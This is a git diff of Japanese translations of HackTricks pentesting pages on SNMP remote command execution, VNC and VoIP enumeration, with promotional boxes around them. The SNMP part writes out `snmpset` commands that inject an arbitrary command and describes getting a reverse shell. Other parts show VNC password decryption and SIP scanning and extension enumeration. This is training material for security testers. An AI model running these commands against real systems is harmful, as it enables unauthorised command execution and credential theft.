* [Bizploitを使用したSAPエコシステムのセキュリティ評価発見](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
@ -310,16 +312,17 @@ bizploit> start
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**します。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks_live)。
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# SNMP RCE
SNMPは、管理者がデバイスやサーバーのデフォルト構成を見落とした場合、攻撃者によって悪用される可能性があります。Linuxオペレーティングシステム上で**SNMPコミュニティを悪用しrwcommunity**、サーバー上でコマンドを実行することができます。
SNMPは、管理者がデバイスやサーバーのデフォルト設定を見落とした場合、攻撃者によって悪用される可能性があります。Linuxオペレーティングシステム上で**書き込み権限を持つSNMPコミュニティrwcommunity**を悪用することにより攻撃者はサーバー上でコマンドを実行できます。
## 追加コマンドでサービスを拡張する
SNMPサービスを拡張し、追加のコマンドを追加するには、新しい**"nsExtendObjects"テーブルに行を追加**することが可能です。これは、`snmpset`コマンドを使用し、実行可能ファイルへの絶対パスや実行するコマンドなどの必要なパラメータを提供することで達成できます。
SNMPサービスを拡張し、追加コマンドを加えるには、新しい**"nsExtendObjects"テーブルに行を追加する**ことが可能です。これは、`snmpset`コマンドを使用し、実行可能ファイルへの絶対パスと実行するコマンドを含む必要なパラメータを提供することで実現できます。
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
@ -27,22 +28,21 @@ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
```
## コマンドの実行のためのインジェクション
SNMPサービスで実行するコマンドをインジェクトするには、呼び出されるバイナリ/スクリプトの存在と実行可能性が必要です。**`NET-SNMP-EXTEND-MIB`**は、実行可能ファイルへの絶対パスの提供を義務付けています。
SNMPサービスで実行するコマンドをインジェクトするには、呼び出されるバイナリ/スクリプトの存在と実行可能性が必要です。 **`NET-SNMP-EXTEND-MIB`** は、実行可能ファイルへの絶対パスを提供することを義務付けています。
インジェクトされたコマンドの実行を確認するために、`snmpwalk`コマンドを使用してSNMPサービスを列挙することができます。**出力にはコマンドとそれに関連する詳細が表示されます**。絶対パスも含まれます:
インジェクトされたコマンドの実行を確認するために、`snmpwalk`コマンドを使用してSNMPサービスを列挙できます。 **出力にはコマンドとその関連詳細が表示され、絶対パスが含まれます**:
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
## 注入されたコマンドの実行
**注入されたコマンドが読み取られると、実行されます**。この動作は**`run-on-read()`**として知られています。コマンドの実行は、snmpwalkの読み取り中に観察できます。
**注入されたコマンドが読み取られると、それが実行されます**。この動作は**`run-on-read()`**として知られています。コマンドの実行は、snmpwalkの読み取り中に観察できます。
### SNMPを使用したサーバーシェルの取得
サーバーを制御し、サーバーシェルを取得するために、mxrchによって開発されたPythonスクリプトを使用できます。[**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)から利用できます。
サーバーを制御し、サーバーシェルを取得するに、mxrchによって開発されたPythonスクリプトを[**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)から利用できます。
また、特定のコマンドをSNMPに注入することで、逆シェルを手動で作成することもできます。このコマンドは、snmpwalkによってトリガーされ、攻撃者のマシンに逆シェル接続を確立し、被害者マシンを制御できるようにします。
このコマンドを実行するための前提条件をインストールできます:
また、特定のコマンドをSNMPに注入することで、リバースシェルを手動で作成することもできます。このコマンドはsnmpwalkによってトリガーされ、攻撃者のマシンへのリバースシェル接続を確立し、被害者のマシンを制御できるようにします。これを実行するための前提条件をインストールできます
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
@ -57,16 +57,17 @@ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendSta
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# 5800,5801,5900,5901 - VNCの侵入テスト
# 5800,5801,5900,5901 - Pentesting VNC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
**Virtual Network Computing (VNC)** は、**Remote Frame Buffer (RFB)** プロトコルを利用してリモートコントロールや他のコンピュータとの共同作業を可能にする堅牢なグラフィカルデスクトップ共有システムです。VNCを使用すると、ユーザーはキーボードとマウスのイベントを双方向に送信することでリモートコンピュータとシームレスにやり取りできます。これによりリアルタイムアクセスが可能となり、ネットワークを介した効率的なリモートアシスタンスや共同作業が容易になります。
**Virtual Network Computing (VNC)** は、**Remote Frame Buffer (RFB)** プロトコルを利用して、別のコンピュータとのリモートコントロールとコラボレーションを可能にする堅牢なグラフィカルデスクトップ共有システムです。VNCを使用すると、ユーザーはキーボードとマウスのイベントを双方向に送信することでリモートコンピュータとシームレスに対話できます。これにより、リアルタイムでのアクセスが可能になり、ネットワークを介した効率的なリモート支援やコラボレーションが促進されます。
VNCは通常、ポート**5800または5801または5900または5901**を使用します。
```
@ -28,24 +29,24 @@ PORT STATE SERVICE
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
msf> use auxiliary/scanner/vnc/vnc_none_auth
```
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#vnc)
### [**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#vnc)
## Kaliを使用してVNCに接続
## Kaliを使用してvncに接続する
```bash
vncviewer [-passwd passwd.txt] <IP>::5901
```
## VNCパスワードの復号化
デフォルトの**パスワードは**ここに保存されています: \~/.vnc/passwd
デフォルトの**パスワードは保存されています**: \~/.vnc/passwd
VNCパスワードを持っていて、それが暗号化されているように見える場合数バイトで、暗号化されたパスワードの可能性がある場合、おそらく3desで暗号化されています。[https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)を使用してクリアテキストパスワードを取得できます。
VNCパスワードを持っていて、それが暗号化されているように見える場合数バイト、暗号化されたパスワードのように見える場合、それはおそらく3desで暗号化されています。平文のパスワードは[https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)を使用して取得できます。
```bash
make
vncpwd <vnc password file>
```
3desを使用して平文のVNCパスワードを暗号化するために使用されるパスワードは、数年前に逆転されました。\
この操作が可能なのは、3des内で平文VNCパスワードを暗号化するために使用されたパスワードが数年前に逆転されたためです。\
**Windows**の場合、このツールも使用できます: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
ツールはこちらにも保存されています:
アクセスを容易にするために、ここにもツールを保存します:
{% file src="../.gitbook/assets/vncpwd.zip" %}
@ -53,16 +54,17 @@ vncpwd <vnc password file>
* `port:5900 RFB`
{% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする**。
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# VoIPのペンテスト
# Pentesting VoIP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## VoIP基本情報
## VoIP 基本情報
VoIPの動作について学ぶには、以下をチェックしてください:
VoIPの仕組みについて学ぶには、以下を確認してください:
{% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/)
@ -43,7 +44,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
```
## レスポンスコード
**1xx—仮のレスポンス**
**1xx—暫定レスポンス**
```
100 Trying
180 Ringing
@ -58,7 +59,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
202 Accepted
204 No Notification
```
**3xx—リダイレクレスポンス**
**3xx—リダイレクションレスポンス**
```
300 Multiple Choices
301 Moved Permanently
@ -66,7 +67,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
305 Use Proxy
380 Alternative Service
```
**4xx—クライアントエラーレスポンス**
**4xx—クライアントエラー応答**
```
400 Bad Request
401 Unauthorized
@ -117,7 +118,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
493 Undecipherable
494 Security Agreement Required
```
**5xx—サーバー障害応答**
**5xx—サーバー障害応答**
```
500 Internal Server Error
501 Not Implemented
@ -129,7 +130,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
555 Push Notification Service Not Supported
580 Precondition Failure
```
**6xx—グローバル障害応答**
**6xx—グローバル失敗応答**
```
600 Busy Everywhere
603 Decline
@ -138,22 +139,22 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
607 Unwanted
608 Rejected
```
## VoIP 列挙
## VoIP Enumeration
### 電話番号
### Telephone Numbers
Red Team が取るべき最初のステップの1つは、OSINT ツール、Google 検索、または Web ページをスクレイピングして企業と連絡を取るための利用可能な電話番号を検索することです。
Red Teamが最初に行うべきステップの一つは、OSINTツール、Google検索、またはウェブページのスクレイピングを使用して、会社に連絡するための利用可能な電話番号を検索することです。
電話番号を取得したら、オペレーターを特定するためにオンラインサービスを使用できます:
電話番号がわかったら、オンラインサービスを使用してオペレーターを特定できます:
- [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
- [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
- [https://www.whitepages.com/](https://www.whitepages.com/)
- [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
* [https://www.whitepages.com/](https://www.whitepages.com/)
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
オペレーターが VoIP サービスを提供しているかどうかを知ることで、企業が VoIP を使用しているかどうかを特定できます... さらに、企業が VoIP サービスを雇っていないかもしれませんが、PSTN カードを使用して自社の VoIP PBX を従来の電話ネットワークに接続している可能性があります。
オペレーターがVoIPサービスを提供しているかどうかを知ることで、会社がVoIPを使用しているかどうかを特定できます... さらに、会社がVoIPサービスを契約していないが、PSTNカードを使用して独自のVoIP PBXを従来の電話ネットワークに接続している可能性もあります。
音楽の自動応答などのことは、通常 VoIP が使用されていることを示しています。
音楽の自動応答などは、通常VoIPが使用されていることを示しています。
### Google Dorks
```bash
@ -189,21 +190,21 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
```
### OSINT情報
VoIPソフトウェアの特定に役立つその他のOSINT列挙は、Red Teamにとって有益です。
VoIPソフトウェアを特定するのに役立つ他のOSINT列挙は、Red Teamにとって有益です。
### ネットワーク列挙
- **`nmap`** はUDPサービスをスキャンすることができますが、スキャンされるUDPサービスの数が多いため、この種のサービスでは非常に遅く、正確ではないかもしれません。
* **`nmap`** はUDPサービスのスキャンが可能ですが、スキャンされるUDPサービスの数が多いため、非常に遅く、この種のサービスに対してあまり正確ではないかもしれません。
```bash
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
```
* **`svmap`** SIPViciousから`sudo apt install sipvicious`指定されたネットワーク内のSIPサービスを特定します。
* `svmap`User-Agent `friendly-scanner`を使用するため、**簡単にブロック**できますが、`/usr/share/sipvicious/sipvicious`からコードを変更することができます。
* **`svmap`** from SIPVicious (`sudo apt install sipvicious`): 指定されたネットワーク内のSIPサービスを特定します。
* `svmap`**簡単にブロック**できます。なぜなら、User-Agent `friendly-scanner`を使用しているからですが、`/usr/share/sipvicious/sipvicious`のコードを変更して変更することができます。
```bash
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTSスキャンは、UDP、TCP、またはTLSを介したSIPサービスの非常に高速なスキャナーです。マルチスレッドを使用し、大きなネットワーク範囲をスキャンできます。ポート範囲を簡単に指定したり、TCPとUDPの両方をスキャンしたり、別のメソッドを使用したりデフォルトではOPTIONSを使用します、異なるUser-Agentを指定したりできます
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTSスキャンは、UDP、TCP、またはTLS上のSIPサービス用の非常に高速なスキャナーです。マルチスレッドを使用しており、大規模なネットワーク範囲をスキャンできます。ポート範囲を簡単に指定し、TCPとUDPの両方をスキャンし、別のメソッドを使用しデフォルトではOPTIONSを使用、異なるUser-Agentを指定することができますその他も含む
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -214,197 +215,197 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] Customized User-Agent: Cisco
[!] Used threads: 200
```
* **metasploit**:
Metasploitメタスプロイト:
* **metasploit**:
```
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### 追加のネットワーク列挙
#### Extra Network Enumeration
PBXは他のネットワークサービスも公開している可能性があります:
PBXは他のネットワークサービスも公開している可能性があります
- **69/UDP (TFTP)**: ファームウェアの更新
- **80 (HTTP) / 443 (HTTPS)**: ウェブからデバイスを管理するため
- **389 (LDAP)**: ユーザー情報を保存するための代替手段
- **3306 (MySQL)**: MySQLデータベース
- **5038 (Manager)**: 他のプラットフォームからAsteriskを使用することを可能にします
- **5222 (XMPP)**: Jabberを使用したメッセージ
- **5432 (PostgreSQL)**: PostgreSQLデータベース
- その他...
* **69/UDP (TFTP)**: ファームウェアの更新
* **80 (HTTP) / 443 (HTTPS)**: ウェブからデバイスを管理するため
* **389 (LDAP)**: ユーザー情報を保存するための代替手段
* **3306 (MySQL)**: MySQLデータベース
* **5038 (Manager)**: 他のプラットフォームからAsteriskを使用することを
* **5222 (XMPP)**: Jabberを使用したメッセージ
* **5432 (PostgreSQL)**: PostgreSQLデータベース
* その他...
### メソッドの列挙
### Methods Enumeration
`SIPPTS enumerate`を使用してPBXで使用可能な**メソッドを見つける**ことができます。[**sippts**](https://github.com/Pepelux/sippts)
`SIPPTS enumerate`を使用してPBXで**使用可能なメソッド**を見つけることができます。[**sippts**](https://github.com/Pepelux/sippts)から
```bash
sippts enumerate -i 10.10.0.10
```
### サーバーの応答の分析
サーバーが私たちに送り返すヘッダーを分析することは非常に重要です。私たちが送信するメッセージの種類やヘッダーに応じて。[**sippts**](https://github.com/Pepelux/sippts)の`SIPPTS send`を使用すると、すべてのヘッダーを操作して応答を分析することができます。
サーバーが私たちに返すヘッダーを分析することは非常に重要です。これは、私たちが送信するメッセージの種類やヘッダーによって異なります。 [**sippts**](https://github.com/Pepelux/sippts) の `SIPPTS send` を使用すると、すべてのヘッダーを操作してパーソナライズされたメッセージを送信し、応答を分析できます。
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
以下は、ネットワークサービスの侵入テストに関するファイルnetwork-services-pentesting/pentesting-voip/README.mdからのコンテンツです。サーバーがWebsocketsを使用している場合、データを取得することも可能です。[**sippts**](https://github.com/Pepelux/sippts)から`SIPPTS wssend`を使用すると、個別のWSメッセージを送信できます。
サーバーがウェブソケットを使用している場合、データを取得することも可能です。[**sippts**](https://github.com/Pepelux/sippts)の`SIPPTS wssend`を使用すると、パーソナライズされたWSメッセージを送信できます。
```bash
sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### 拡張機能の列挙
### Extension Enumeration
PBXプライベートブランチ交換システム内の拡張機能は、組織やビジネス内の個々の電話回線、デバイス、またはユーザーに割り当てられた**一意の内部識別子**を指します。拡張機能により、**組織内で効率的に通話をルーティング**することが可能となり、各ユーザーやデバイスに個別の外部電話番号が必要なくなります。
PBXプライベートブランチ交換システムにおける拡張は、**組織やビジネス内の個々の**電話回線、デバイス、またはユーザーに割り当てられた**ユニークな内部識別子**を指します。拡張は、**各ユーザーやデバイスのために個別の外部電話番号を必要とせずに、組織内で効率的に通話をルーティングする**ことを可能にします。
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`は無料のSIP PBX拡張機能ラインスキャナーです。概念的には、**一連の拡張機能または指定された拡張機能のリストを推測**することで、従来のウォーダイヤラーと同様に機能します
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`は無料のSIP PBX拡張ラインスキャナーです。概念的には、**拡張の範囲や指定された拡張のリストを推測することによって、従来のウォードライラーと同様に機能します**
```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```
* **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS extenはSIPサーバー上の拡張機能を識別します。Sipextenは大規模なネットワークおよびポート範囲をチェックできます。
* **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS extenはSIPサーバー上の拡張を特定します。Sipextenは大規模なネットワークとポート範囲をチェックできます。
```bash
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
```
* **metasploit**: Metasploitを使用して拡張子/ユーザー名を列挙することもできます:
* **metasploit**: metasploitを使用して拡張機能/ユーザー名を列挙することもできます:
```
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
